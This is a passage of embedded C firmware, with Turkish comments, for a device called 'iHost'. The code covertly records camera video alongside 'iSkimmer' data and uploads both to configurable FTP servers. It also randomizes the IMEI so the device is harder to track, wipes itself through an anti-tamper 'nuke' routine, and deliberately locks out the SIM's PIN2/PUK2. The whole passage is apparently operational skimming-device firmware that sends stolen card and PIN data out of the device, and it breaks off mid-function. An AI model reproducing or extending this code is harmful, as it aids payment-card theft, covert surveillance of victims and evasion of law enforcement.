sendGSMCommand(GSM_APN2_VODAFONE, "", "", true, GSM_TIMEOUT_2);
} else {
sendGSMCommand(GSM_APN1_TURKCELL, "", "", true, GSM_TIMEOUT_2);
sendGSMCommand(GSM_APN2_TURKCELL, "", "", true, GSM_TIMEOUT_2);
}
sendGSMCommand(GSM_DATA_SETPN, "", "", true, GSM_TIMEOUT_2);
sendGSMCommand(GSM_DATA_CATR, "", "", true, GSM_TIMEOUT_2);
/*
* TODO: buradaki sprintf'ler kontrol edilmeli
* kendisini kendisine kopyalamada sorun çıkıyor
* ama bu rutin neden hatasız çalışıyor
*
*/
sprintf(tmpS, "%s\"%s\",21,", GSM_FTP_LOGIN, systemVariables.ftpServer1); /* Üçüncü % paremetre yazıldığında uyarı verdiği için 2 parçaya bölündü */
sprintf(tmpS, "%s\"%s\",\"%s\",0", tmpS, systemVariables.ftpUser1, systemVariables.ftpPass1);
result = sendGSMCommand(GSM_FTP_SSTART, "", "", false, GSM_TIMEOUT_30); if (result != cmdOk) { goto cikis; }
result = sendGSMCommand(tmpS, "", "", false, GSM_TIMEOUT_30);
if (result != cmdOk) {
/*
* Eğer FTP'ye login yapılamadıysa FTP Sitesinde bir problem olabilir
* İkinci yedek FTP Sitesine bağlanılmaya çalışılır
*/
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
xprint("Ikinci FTP Sitesi deneniyor");
sendGSMCommand(GSM_FTP_LOGOUT, "", "", false, GSM_TIMEOUT_5);
sendGSMCommand(GSM_FTP_SSTOP, "", "", false, GSM_TIMEOUT_5);
bekle(5000, true, 2);
sprintf(tmpS, "%s\"%s\",21,", GSM_FTP_LOGIN, systemVariables.ftpServer2); /* Üçüncü % paremetre yazıldığında uyarı verdiği için 2 parçaya bölündü */
sprintf(tmpS, "%s\"%s\",\"%s\",0", tmpS, systemVariables.ftpUser2, systemVariables.ftpPass2);
result = sendGSMCommand(GSM_FTP_SSTART, "", "", false, GSM_TIMEOUT_30); if (result != cmdOk) { goto cikis; }
result = sendGSMCommand(tmpS, "", "", false, GSM_TIMEOUT_30); if (result != cmdOk) { goto cikis; }
}
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
/*
* Buraya geldiğinde FTP Sitesine bağlantı onaylanmıştır.
* systemVariables yeni bir dosya olarak gönderilir
* cmd.txt dosyası varsa indir
* komutParse() çalıştır
*
*/
loginDosyaAlVer(); /* FTP Sunucuda login dosyası oluştur, systemVariables'ı dosya olarak gönder */
result = cmdOk; /* Login dosyalarında sorun çıksın veya çıkmasın, Her halukarda upload'ı dene */
break; /* Eğer çıkışa gitmediyse herşey yolundadır, break */
cikis:
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
if (i == 1) {
xprint("Vodafone APN Basarisiz, Turkcell denenecek");
gsmRegulatorClose(); /* GSM Regulator kapatılır */
initGSM(); /* GSM Modül ile ilk iletişim gerçekleşir */
} else {
/*
* Çıkan hatanın sayisi arttirilarak flash'a yazılır
* Burada hata miktarının 2'yi geçmesi ve SimCom imei zorlaması veya reset yapılmaz
* Çünkü belki network arızası vardır, biraz beklenmesi gerekiyordur
* Reset vs. yapılmadan soft davranış sergileyerek rutin'den çıkılır
*
* Hata miktarı kontrol'ü imei değişiminde yapılacaktır
*
*/
systemVariables.imeiHATA++;
xprint("Turkcell APN de basarisiz, cikilacak");
xprint("imeiHatasi arttirilip yaziliyor: %d", systemVariables.imeiHATA);
flashWrite();
}
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
}
return result;
}
/*
* uploadGSM aracılığı ile tüm dosyalar FTP Upload yapılır
* Modül'ün /Upload directory'e girilip hepsi FTP sitesine gönderilmeye çalışılır
* Gönderilen dosyalar Modül'den silinir
* Gönderim başarısız olursa 3 kere hata çıkma toleransı tanınır
* Eğer hata sayısı 3 olursa diğer dosyalar gönderilmez, daha sonra denemek üzere rutinden çıkılır
*
*/
bool uploadGSM(void)
{
uint8_t cntHata = 0; /* Hata miktarı sayıcısı */
char dosyaAdi[50] = {0}; /* Tek bir dosya adı */
uint16_t cntMain = 0; /* Buffer'ın Ana indexi */
uint16_t cntBulunan = 0; /* Bulunan ve Buffer'a kaydedilen yerleri tutan index */
uint16_t dosyalarYeri = 0; /* Dosya Listesinin rxBuffer.data içersindeki konumu */
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
gsmCommandResult_TypeDef result = cmdError;
sendGSMCommand(GSM_FS_CD_ROOT_DIR, "", "", true, GSM_TIMEOUT_2); /* Önce Root Directory gidilir */
sendGSMCommand(GSM_FS_CD_UPLOAD_DIR,"", "", true, GSM_TIMEOUT_2); /* Upload directory'e girilir */
sendGSMCommand(GSM_FS_LIST, "", "", true, GSM_TIMEOUT_5); /* Dosya Listesi alınır */
uint16_t dosyaSayisi = _dosyaAyikla(true);
if (dosyaSayisi == 0)
{ xprint("Gonderilecek dosya yok"); return true; }
else {
/*
* rxBuffer'daki veriler buffer'ın sonuna doğru taşınır
* Dosya Listesi aldıktan sonraki buffer GSM Komutları gönderilmesiyle silinir
* FAKAT upload için gönderilen GSM komutları çok fazla veri geriye döndürmez
* Bu sebeple; buffer'da bulunan, file list cevabı olabildiğince sona alınır
*
* GSM komutları rxBuffer'ın başını kullanıyorken, File List'in bulunduğu yer güvende kalır
* (rxBuffer sonundan index kadar geri bir adres belirlendi. Garanti için 10 daha geri gelindi)
*
* Neticeten ikinci bir buffer kullanmadan ve çok hızlı bir çözüm üretildi
*
*/
dosyalarYeri = MAX_RXBUFFER_SIZE - rxBuffer.index - 10;
memcpy(rxBuffer.data + dosyalarYeri, rxBuffer.data, rxBuffer.index);
uint16_t rxIndexBack = rxBuffer.index; /* Index backup al, GSM Komut gönderildiğinde orjinal değişecek */
cntMain = dosyalarYeri; /* Dosyaların bulunduğu yerin ofseti */
while (true)
{
cntBulunan = 0; /* ctnBulunan her bir dosya için sıfırlanır */
if (cntMain >= dosyalarYeri + rxIndexBack) /* rxBuffer'daki veri limitine ulaşınca çık */
{ break; } /* dosyalarYeri ofseti de eklenir */
if (rxBuffer.data[cntMain++] == '<') { /* Start Sentinel bulundu */
/* Veriyi geçici değişkene kopyala */
while (true) /* Dosya/Komut Adı bitene kadar kopyala */
{
if ( (rxBuffer.data[cntMain] == '>') || (cntMain >= dosyalarYeri + rxIndexBack) )
{ break; }
dosyaAdi[cntBulunan++] = rxBuffer.data[cntMain++];
}
dosyaAdi[cntBulunan] = 0; /* Sonu NULL yapılır */
xprint("Gonderiliyor: %s", dosyaAdi);
result = sendGSMCommand(GSM_FTP_PUTFILE, dosyaAdi, "\",0", false, GSM_TIMEOUT_220); WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
if (result == cmdOk) {
sendGSMCommand(GSM_FS_DEL, dosyaAdi, "", true, GSM_TIMEOUT_2);
xprint("Dosya silindi: %s", dosyaAdi);
} else {
cntHata++;
xprint("Gonderme HATA sayisi: %d - Dosya GSM Modulden silinmedi, tekrar gonderilecek", cntHata);
if (cntHata >= 3) /* En fazla 3 hata olursa çıkış */
{ return false; }
}
}
}
}
return true;
}
/*********************************************************************************************************************************
* @brief gsmUpdate - btUpdate buffer GSM aracılığı ile merkeze gönderilir
*
* @details
* GSM Modül açılır ve sınanması yapılır
* Data Mode'a geçilir, FTP Bağlantısı yapılır
* 2 FTP Sitesi desteklemektedir
* FTP Sitesindeki cmd.txt dosyasını indirir ve işler
* Modül'ün /Upload directory'deki bütün dosyaları FTP Sitesine gönderir
*
* Sonucun önemi yoktur çünkü sonuca sadece modül açılıp temel kullanımı yapılabiliyorsa
* ve aynı zamanda sleep'e geçebiliyorsa ulaşılır
* Eğer temel iletişim veya sleep yapılamıyorsa o zaman bu başarı sağlanana kadar Sistem Reset yapılacaktır
* Upload başarı olsun yada olmasın modül sleep'e geçirilir
* Bu rutin çıkışında modül kamera kaydına hazır haldedir
*
********************************************************************************************************************************/
void gsmUpdate()
{
gsmCommandResult_TypeDef result = cmdError;
ZAMAN_SIFIRLA;
xprint("gsmUpdate() - basladi");
initGSM(); /* GSM Modül açılır */
result = gsmDataMode(); /* Data Mode'a geçip FTP Server'a bağlan */
if (result == cmdOk) /* Data Mode'a başarılı geçildiyse */
{ uploadGSM(); } /* GSM Upload yapılır */
gsmSleep(); /* Upload başarılıp olduğuna bakılmaksızın sleep'e geçilir */
}
/*
* camRecord ile Kamera kaydı yapılır
* Kamera kaydı yapıldıktan sonra btUpdateBuffer Modül'e xmodem protocol ile gönderilir
* Kamera kaydı ve iSkimmer datası aynı isme sahip olmaları sağlanır
* Her iki kayıt /Upload directory'e kopyalanıp /Video'dan silinir
*
* /Upload directory'deki dosyalar sayılır ve eqer limit üzeri ise uploadGSM yapılır
*
*/
void camRecord(btUpdateBuffer_TypeDef *btUpdateBuffer)
{
gsmCommandResult_TypeDef result = cmdError;
char dosyaCAM[50] = { 0 };
char dosyaUpload[50] = { 0 };
ZAMAN_SIFIRLA;
xprint("camRecord() - basladi");
txAyarla(true); /* LEUART TX Pin aktif hale getir */
bekle(1000, true, 2); /* 1 saniye bekle, Modül Pinleri detect etsin */
bosATKomutlari(); /* Boş AT Komutları gönderilerek modül uyandırılır */
/*
* /Upload Directory'e girilir
* Burada sonuç kontrol edilir ki GSM Modül'ün uyandığından emin olunabilsin
* Eğer uyanamadıysa Kamera kaydi yapmaya çalışmanın anlamı olmadığından reset edilir
*
*/
result = sendGSMCommand(GSM_FS_CD_UPLOAD_DIR, "", "", true, GSM_TIMEOUT_2);
if (result != cmdOk) {
xprint("GSM Modul uyanamadi. Kamera kaydi iptal, resetSystem()");
resetSistem();
}
result = sendGSMCommand(GSM_CAMERA_VOLTAGE, "", "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_ENABLE, "", "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_START, "", "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_RESOLUTION, systemVariables.camRes, "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_FPS, systemVariables.camFps, "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_NIGHT, systemVariables.camNight, "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_WHITEBAL, systemVariables.camWhiteBal, "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_BRIGHT, systemVariables.camBright, "", true, GSM_TIMEOUT_2);
xprint("Kamera kaydindan once bekleniyor: %d Saniye", systemVariables.camWait);
bekle(systemVariables.camWait * 1000, true, 2);
/*
* Kamera kaydına başlat ve dosya adını al
* camDosyaAdiAl işlemi kamera kaydından hemen sonra yapılmalıdır
* Aksi halde dosya adı rxBuffer'da olamayacağı için bulunamaz
*
*/
result = sendGSMCommand(GSM_CAMERA_RECORDSTART, "", "", true, GSM_TIMEOUT_2);
if (result != cmdOk) {
xprint("RECORDSTART yapılamiyor. Kamera kaydi iptal, resetSystem()");
resetSistem();
}
_camDosyaAdiAl(dosyaCAM);
xprint("Kamera kaydi yapiliyor: %d Saniye", systemVariables.camRecord);
/*
* Kamera kaydi yapilirken btUpdateBuffer gönderilir
* Gönderme bittikten sonra, kalan kayıt süresi kadar uykuya geçilir
*
* Index 0 ise Geçici btUpdateBuffer 391 byte doldurulur
* Bu rutin aslında debug amaçları için yazılmıştır
* Ayrıca faydası, eğer buffer boş ise ve buraya geldiyse (aslında olamayacak birşey)
* herhangi bir rutinde arıza çıkmadan, buffer doluymuş gibi çalışması için
* bir önlem niteliğindedir
*
*/
uint32_t startTime = CRYOTIMER_CounterGet(); /* Şimdiki zamanı al */
if (btUpdateBuffer->counter == 0) {
xprint("btUpdateBuffer bos. xModem gonderimi icin 391 byte dolduruluyor")
for (int i= 0; i < MAX_BTBUFFER_SIZE; i++)
{ btUpdateBuffer->data[i] = (uint8_t) i; btUpdateBuffer->counter = 391;}
}
_dosyaAdiOlustur(dosyaUpload, 1, true); /* Benzersiz dosya adı oluştur; 1 = zip = iSkimmer; değişkenleri reset et */
xmodemSend(dosyaUpload, btUpdateBuffer); /* btUpdateBuffer XMODEM protocol ile GSM Modüle gönderilir */
memset(btUpdateBuffer, 0x00, sizeof(_btUpdateBuffer) ); /* btUpdateBuffer'ı tamamen sil */
/*
* Dosya gönderildikten sonra çözünürlüğü düşür
* Birkaç saniye full çözünürlükte kullan, ışık vs. ayarlaması daha iyi oluyor
*
*/
char tmpC[50];
bekle(3000, true, 2); /* 3 Saniye daha bekle */
if (systemVariables.camHStop) { /* Eğer 0 ise Horizontal ayar kullanma, default 0, 320 */
sprintf(tmpC, "+CWIIC=0X42,0X17,0X%02X,1", (systemVariables.camHStart >> 3) ); /* HStart'ı 3 sağa kaydır */
sendGSMCommand(tmpC, "", "", true, GSM_TIMEOUT_2);
sprintf(tmpC, "+CWIIC=0X42,0X18,0X%02X,1", (systemVariables.camHStop >> 3) ); /* HStop'u 3 sağa kaydır */
sendGSMCommand(tmpC, "", "", true, GSM_TIMEOUT_2);
}
if (systemVariables.camVStop) { /* Eğer 0 ise Vertical ayar kullanma, default 0, 240 */
sprintf(tmpC, "+CWIIC=0X42,0X19,0X%02X,1", (systemVariables.camVStart >> 2) ); /* VStart'ı 2 sağa kaydır */
sendGSMCommand(tmpC, "", "", true, GSM_TIMEOUT_2);
sprintf(tmpC, "+CWIIC=0X42,0X1A,0X%02X,1", (systemVariables.camVStop >> 2) ); /* VStop'u 2 sağa kaydır */
sendGSMCommand(tmpC, "", "", true, GSM_TIMEOUT_2);
}
uint32_t endTime = CRYOTIMER_CounterGet(); /* Şimdiki zamanı al */
uint32_t kalanSure = (systemVariables.camRecord * 1000) - (endTime-startTime); /* Kalan süreyi hesapla */
xprint("Kalan beklenecek sure: %d", (int) kalanSure);
bekle(kalanSure, true, 2); /* Uykuda bekle */
/* Beklenecek süre geçtikten sonra kaydı bitir ve kopyala*/
result = sendGSMCommand(GSM_CAMERA_RECORDEND, "", "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_STOP, "", "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_DISABLE, "", "", true, GSM_TIMEOUT_2);
_dosyaAdiOlustur(dosyaUpload, 2, false); /* Benzersiz dosya adı oluştur; 2 = rar = Camera; değişkenleri reset etmeden oluştur */
char tmpS[50];
sprintf(tmpS, ",C:/Upload/%s", dosyaUpload);
sendGSMCommand(GSM_FS_COPY, dosyaCAM, tmpS, true, GSM_TIMEOUT_5); /* Copy işlemi yapılır */
sendGSMCommand(GSM_FS_CD_VIDEO_DIR, "", "", true, GSM_TIMEOUT_2); /* Video directory girilir */
sendGSMCommand(GSM_FS_DEL, "*.*", "", true, GSM_TIMEOUT_2); /* Bütün /Video directory silinir */
/*
* /Upload Directory'e girilir
* Burada sonuç kontrol edilir ki GSM Modül'ün Kamera Kaydı sonrası sorunsuz çalıştığı tecrübe edilir
* Eğer cevap alınamazsa Kamera Kaydı esnasında sorun çıktı demektir. Sistem reset edilir
*
*/
result = sendGSMCommand(GSM_FS_CD_UPLOAD_DIR, "", "", true, GSM_TIMEOUT_2);
if (result != cmdOk) {
xprint("btUpdateBuffer gonderiminden once GSM Modul cevap vermiyor. resetSystem()");
resetSistem();
}
sendGSMCommand(GSM_FS_LIST, "", "", true, GSM_TIMEOUT_5); /* Dosya Listesi alınır */
uint8_t dosyaSayisi = _dosyaAyikla(true);
if (dosyaSayisi >= systemVariables.updateFileLimit) {
xprint("Mevcut dosya sayisi (%d), uploadLimit (%d) uzerinde. gsmUpdate yapilacak", dosyaSayisi, systemVariables.updateFileLimit);
_imeiDegistir(false); /* IMEI değiştir, forceNonSimCom = false */
resetSistem(); /* resetSistem() aracılığı ile gsmUpdate() yapılır */
} else
{ xprint("Mevcut dosya sayisi (%d), uploadLimit (%d) e ulasmadi", dosyaSayisi, systemVariables.updateFileLimit); }
gsmSleep();
}
/*
* setupIHost() ile iHost'un ilk takma işlemi yapılır
* İlgili telefon görüntülü aranır
* Eğer telefon açılıp belli bir süre beklendiyse
* Tamper switch 3 dk boyunca kapalı kalırsa Savaş Moduna geç
* Bu süre içersinde Tamper switch açılırsa reset et ve baştan başla
* Eğer Telefon açılmazsa reset et ve baştan başla
*
*/
void setupIHost_videoCall(void)
{
gsmCommandResult_TypeDef result = cmdError;
xprint("setupIHost basladi");
initGSM(); /* GSM Modül ile ilk iletişim gerçekleşir */
onlineGSM(); /* GSM Modül uykudan uyanıp online duruma geçsin, PIN girilsin */
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
/*
* Burası çok seksi bir telefon açılıp belli bir süre açık kaldığını anlama rutini
* Video araması doğru olarak yapıldığında ve telefon kapatıldığında sırasıyla şu cevaplar gelmekte
* OK -> Komut alındı
* VPRINGBACK -> Telefon çalıyor
* VPSETUP -> Açıldı, ayarlama yapılıyor
* VPCONNECTED -> Görüntülü bağlanıldı
* VPEND: xx -> Bağlantı sonlandırıldı xx Saniye
*
* Eğer sendGSMCommand gönderilirken standart OK komutu beklemek yerine
* normalde hata olarak kullanılan ": x" (x = 1 den 9'a kadar) değerini beklersek
* bu aramanın beklenildiği gibi gerçekleştiği ve sonlandırıldığını göstermekte olur
*
* Görüntülü arama başarılı olsun yada olmasın, takma kontrolüne başlanır
* Belki UMTS yoktur ve takıldığından emin olunmuştur
*
*/
xprint("Goruntulu arama baslatiliyor");
result = sendGSMCommand(GSM_CAMERA_VOLTAGE, "", "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_ENABLE, "", "", true, GSM_TIMEOUT_2);
sendGSMCommand(GSM_VIDEO_CALL, systemVariables.aranacakNo, "", true, GSM_TIMEOUT_5); /* */
result = sendGSMCommand(GSM_CAMERA_NIGHT, systemVariables.camNight, "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_WHITEBAL, systemVariables.camWhiteBal, "", true, GSM_TIMEOUT_2);
result = sendGSMCommand(GSM_CAMERA_BRIGHT, systemVariables.camBright, "", true, GSM_TIMEOUT_2);
result = sendGSMCommand("", "", "", false, GSM_TIMEOUT_220); /* Boş bir AT Komutu gönderip Watchdog Limiti kadar bekleme yapar, VIDEO_CALL Sonucunu yakalar */
if (result != cmdError)
{ xprint("Goruntulu arama beklenilen sekilde sonuclanmadi"); } else
{ xprint("Goruntulu arama basarili"); }
xprint("Takma kontrolu basladi");
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
uint8_t tmpI; /* Tamper Switch konumu */
uint32_t timeNow = CRYOTIMER_CounterGet(); /* Su anki zamani sakla */
while (true) /* Sonsuz döngü */
{
tmpI = GPIO_PinInGet(TAMPER_PORT, TAMPER_PIN);
if (!tmpI)
{ xprint("iHost yerine takilmadi"); resetSistem(); }
#ifdef DEBUG /* DEBUG yapılıyorsa 10 saniye bekle */
if ( (timeNow + GSM_TIMEOUT_10) < CRYOTIMER_CounterGet() ) /* LETIMER 16bit sayabildiği için, 65535ms üzeri CRYOTIMER ile ölçülür */
#else /* DEBUG yapılmıyorsa 220 saniye bekle */
if ( (timeNow + GSM_TIMEOUT_220) < CRYOTIMER_CounterGet() ) /* LETIMER 16bit sayabildiği için, 65535ms üzeri CRYOTIMER ile ölçülür */
#endif
{ break; }
}
xprint("iHost yerine basariyla takildi");
sprintf(systemVariables.aranacakNo, "12345678"); /* Artık savaş moduna geçilir */
flashWrite(); /* Sistem variables flash'a yazılır */
resetSistem(); /* Sistem baştan başlatılır */
}
/*
* PIN2 ve PUK2 hala mevcutsa onları FUCK yapar
* Bu işlem doğru pin girildikten sonra yapılmalıdır
*
* Formatı şu şekilde çalışmaktadır:
* AT+CPIN="ESKIPIN","0001"
*
* Bu komut hem PIN2 girişi ve hem de PUK2 girişi için kullanılir
*
*/
void fuckPin2Puk2(void)
{
initGSM(); /* GSM Modül ile ilk iletişim gerçekleşir, doSleep = false ile uykuya geçsin istenmez */
onlineGSM(); /* GSM Modül uykudan uyanıp online duruma geçsin, PIN girilsin */
WDOG_Feed(); /* Köpeği besle, havlayıp reset etmesin */
char tmpC[50] = { 0 };
sprintf(tmpC, "AT+CPIN=\"%s\",\"0001\"\r", systemVariables.pin);
xprint("PIN2 ve PUK2 hizlica yokediliyor: %s", tmpC);
for (uint8_t i = 0; i < 30; i++) {
_txGonder(tmpC, sizeof(tmpC), true); /* Önce 30 defa PIN2,PUK2 göndererek SIM PIN2 ve PUK2'i devre dışı bırak */
bekle(100, true, 0); /* Komut aralarında bekle */
}
}
/*********************************************************************************************************************************
* @file iHost_init.c
* @author ChaO
* @date 2008
*
* @brief iHost cihazının donanım başlatma, güvenli konfigürasyon yönetimi ve temel güvenlik fonksiyonlarını içerir.
*
* @details
* Bu dosya, iHost cihazının başlangıç yapılandırmasından ve temel güvenlik
* mekanizmalarından sorumludur. `initIHost` ana başlangıç fonksiyonudur.
*
* Temel Sorumluluklar:
* - **Güvenli Konfigürasyon:** Cihazın tüm ayarlarını (`systemVariables`)
* flash bellekte şifreli olarak saklar. Bu işlem için Tiny Encryption
* Algorithm (TEA) kullanılır (`encrypt`/`decrypt`). Şifreleme anahtarı,
* cihazın benzersiz (unique) ID'si ile türetilerek her cihaz için farklı
* olması sağlanır.
*
* - **Anti-Tamper Mekanizması:** Cihaz kasasının açılması durumunda tetiklenen
* bir tamper switch'i (`initTamper`) yönetir. Tetiklenme anında sistem
* kendini resetler ve bir sonraki açılışta imha (`nukeSystem`) sürecini
* başlatabilir.
*
* - **IMEI Üretimi:** GSM modülü için geçerli ve rastgele 15 haneli IMEI
* numaraları üretir (`createIMEI`). Bu, ağda tanınma ve takip zorlaştırma
* için kritik bir özelliktir.
*
* - **İlk Kurulum:** Sadece geliştirici tarafından kullanılan, cihazın fabrika
* ayarlarını yükleyen özel bir fonksiyon (`dikkatBirDefayaMahsusIHostSetup`) içerir.
*
*********************************************************************************************************************************/
#include "AllDevicesInit.h"
#include "AllDevicesOrtak.h"
#include "iHostDefs.h"
#include "iHost_gsmUpdate.h"
#include "em_rmu.h"
#include "em_msc.h"
#include "em_system.h"
/* Tek (ODD) veya Çift (EVEN) farketmez, GPIO tetiklenince NUKE YAP */
void GPIO_EVEN_IRQHandler(void)
{ GPIO_IntClear( GPIO_IntGet() ); gecko_cmd_system_reset(0); }
void GPIO_ODD_IRQHandler(void)
{ GPIO_IntClear( GPIO_IntGet() ); gecko_cmd_system_reset(0); }
/*
* encrypt
* Encrypt 64 bits with a 128 bit key using TEA
* From http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm
* Arguments:
* v - array of two 32 bit uints to be encoded in place
* k - array of four 32 bit uints to act as key
*
*/
void encrypt () {
uint32_t enOfset = (uint32_t) SYSTEM_GetUnique(); /* UniqueID ile keyleri XOR yap ki her cihazda farklı key kullanılsın */
uint32_t k0=(enOfset ^= systemVariables.enKey1), k1=(enOfset ^= systemVariables.enKey2),
k2=(enOfset ^= systemVariables.enKey3), k3=(enOfset ^= systemVariables.enKey4);
uint32_t delta=0x9e3779b9;
uint32_t v0, v1, i;
uint32_t *ptrSysVar;
ptrSysVar = (uint32_t *) &systemVariables;
/*
* İlk 4 uint32_t Key'ler var, Şifreme/Deşifreleme onlardan sonra başlasın diye 2'den Başlar
* Her seferinde 4 + 4 byte işlendiği için /8 ile yaklaşık döngü sayısı bulunur
*
*/
for (int dongu = 2; dongu < (sizeof(systemVariables)/8); dongu++) {
uint32_t sum = 0;
v0 = *(ptrSysVar + (dongu*2)); v1 = *(ptrSysVar + (dongu*2) + 1);
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
*(ptrSysVar + (dongu*2) ) = v0; *(ptrSysVar + (dongu*2) + 1) = v1;
}
}
/*
* decrypt
* Decrypt 64 bits with a 128 bit key using TEA
* From http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm
* Arguments:
* v - array of two 32 bit uints to be decoded in place
* k - array of four 32 bit uints to act as key
*
*/
//void decrypt (uint32_t* v, uint32_t* k) {
void decrypt () {
uint32_t enOfset = (uint32_t) SYSTEM_GetUnique(); /* UniqueID ile keyleri XOR yap ki her cihazda farklı key kullanılsın */
uint32_t k0=(enOfset ^= systemVariables.enKey1), k1=(enOfset ^= systemVariables.enKey2),
k2=(enOfset ^= systemVariables.enKey3), k3=(enOfset ^= systemVariables.enKey4);
uint32_t delta=0x9e3779b9;
uint32_t v0, v1, i;
uint32_t *ptrSysVar;
ptrSysVar = (uint32_t *) &systemVariables;
/*
* İlk 4 uint32_t Key'ler var, Şifreme/Deşifreleme onlardan sonra başlasın diye 2'den Başlar
* Her seferinde 4 + 4 byte işlendiği için /8 ile yaklaşık döngü sayısı bulunur
*
*/
for (int dongu = 2; dongu < (sizeof(systemVariables)/8); dongu++) {
uint32_t sum=0xC6EF3720;
v0 = *(ptrSysVar + (dongu*2)); v1 = *(ptrSysVar + (dongu*2) + 1);
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
*(ptrSysVar + (dongu*2) ) = v0; *(ptrSysVar + (dongu*2) + 1) = v1;
}
}
/*
* initTamper() Tamper switch aktif edilir
* Interrupt rutini aktif hale getirilir
*
* Bu rutin sonrası sistem tam Savaş Halindedir
* En ufak bir switch tetiklenmesi sistemi NUKE YAPAR!
*
*/
void initTamper(void)
{
uint8_t tmpI = GPIO_PinInGet(TAMPER_PORT, TAMPER_PIN); /* Tam reset anındaki switch durumu */
if (tmpI == 0) /* Eğer reset anında switch açıldıysa (bu durumda interrup oluşmaz) */
{ nukeSystem(); } /* Bu sebeple sistem açılışında nukeSystem() çalıştırılır */
NVIC_ClearPendingIRQ(GPIO_EVEN_IRQn);
NVIC_EnableIRQ (GPIO_EVEN_IRQn);
NVIC_ClearPendingIRQ(GPIO_ODD_IRQn);
NVIC_EnableIRQ (GPIO_ODD_IRQn);
}
void flashHesiniSil(void)
{
msc_Return_TypeDef ret;
MSC_Init(); /* MSC init */
ret = MSC_ErasePage((uint32_t *) USERDATA_BASE);
if (ret == mscReturnOk)
{ xprint("Silme islemi basarili"); } else
{ xprint("Silme islemi ERROR: %d", (int) ret); }
}
/*
* Belirtilen uzunlukta veriyi Flash bölgeden kopyalar
* Decrypt ederek hazır hale getirir
*
*/
void flashRead()
{
memcpy((uint32_t *) &systemVariables, (uint32_t *) USERDATA_BASE, sizeof(systemVariables));
decrypt();
// xprint("imeiHata: %d", (int) systemVariables.imeiHATA);
// xprint("Kamera oncesi bekleme: %d", (int) systemVariables.camWait);
// xprint("Kamera kayit suresi: %d", (int) systemVariables.camRecord);
// xprint("Periyotik upload zamani: %d", (int) systemVariables.updatePeridyotic);
// xprint("Upload dosya limiti: %d", (int) systemVariables.updateFileLimit);
// xprint("Son pin girisi dogru: %d", (int) systemVariables.pinDogru);
// xprint("%s", systemVariables.aranacakNo);
// xprint("%s", systemVariables.enDetect);
// xprint("%s", systemVariables.pin);
// xprint("%s", systemVariables.vodafoneAPN);
// xprint("%s", systemVariables.turkcellAPN);
// xprint("%s", systemVariables.ftpServer1);
// xprint("%s", systemVariables.ftpUser1);
// xprint("%s", systemVariables.ftpPass1);
// xprint("%s", systemVariables.ftpServer2);
// xprint("%s", systemVariables.ftpUser2);
// xprint("%s", systemVariables.ftpPass2);
}
/*
* Belirtilen uzunlukta veriyi Flash'a yazar
* Word yani "2 x 32bit = 8 byte" yazılma zorunluluğu var
* Hassas ayarlama yapılmak istendiğinde sonuna 0x00 yazarak 8'in katları döngüsü yapılabilir
* Uygulamada dummy kısım olduğu için son tarafların hiç önemi yok
*
* Her flashWrite() işleminden önce ERASE ALL MECBURİ
*
*/
void flashWrite()
{
msc_Return_TypeDef ret;
MSC_Init(); /* MSC init */
encrypt(); /* Önce encrypt et, sonra yaz */
flashHesiniSil(); /* Yazma işleminden önce mecburi hepsi silinmek zorunda */
ret = MSC_WriteWord((uint32_t *) USERDATA_BASE, (uint32_t *) &systemVariables, sizeof(systemVariables));
if (ret == mscReturnOk)
{ xprint("Yazma islemi basarili"); } else
{ xprint("Yazma islemi ERROR: %d", (int) ret); }
flashRead(); /* systemVariables encrypt yapıldığı için flash tekrar okunup decrypt yapılmak zorunda */
}
/*
* imei'nin son digit'ini hesaplar ve geçerli bir imei haline getirir
* 14 basamaklı bir imei gönderilir
* geriye döndürülen değerle 15 basamaklı geçerli bir imei elde edilir
*
*/
uint8_t _imei_calcDigit(char *imei)
{
int8_t i, sum, ch, num, twoup, len, tmp; /* Eksi değer alabildiği için signed int */
//len = strlen(imei);
len = 14;
sum = 0;
twoup = 1;
for (i = len - 1; i >= 0; --i) {
ch = imei[i];
num = (ch >= '0' && ch <= '9') ? ch - '0' : 0;
if (twoup) {
num += num;
if (num > 9) num = (num % 10) + 1;
}
sum += num;
tmp = ++twoup & 1;
twoup = tmp;
}
sum = 10 - (sum % 10);
if (sum == 10) sum = 0;
return sum;
}
/*
* 15 basamaklı imei gönderilip geçerli olup olmadığı sorgulanır
*
*/
bool _imei_check(char *imei)
{
int8_t i, sum, ch, num, twoup, len, tmp;
//len = strlen(imei);
len = 15;
sum = 0;
twoup = 0;
for (i = len - 1; i >= 0; --i) {
ch = imei[i];
num = (ch >= '0' && ch <= '9') ? ch - '0' : 0;
if (twoup) {
num += num;
if (num > 9) num = (num % 10) + 1;
}
sum += num;
tmp = ++twoup & 1;
twoup = tmp;
}
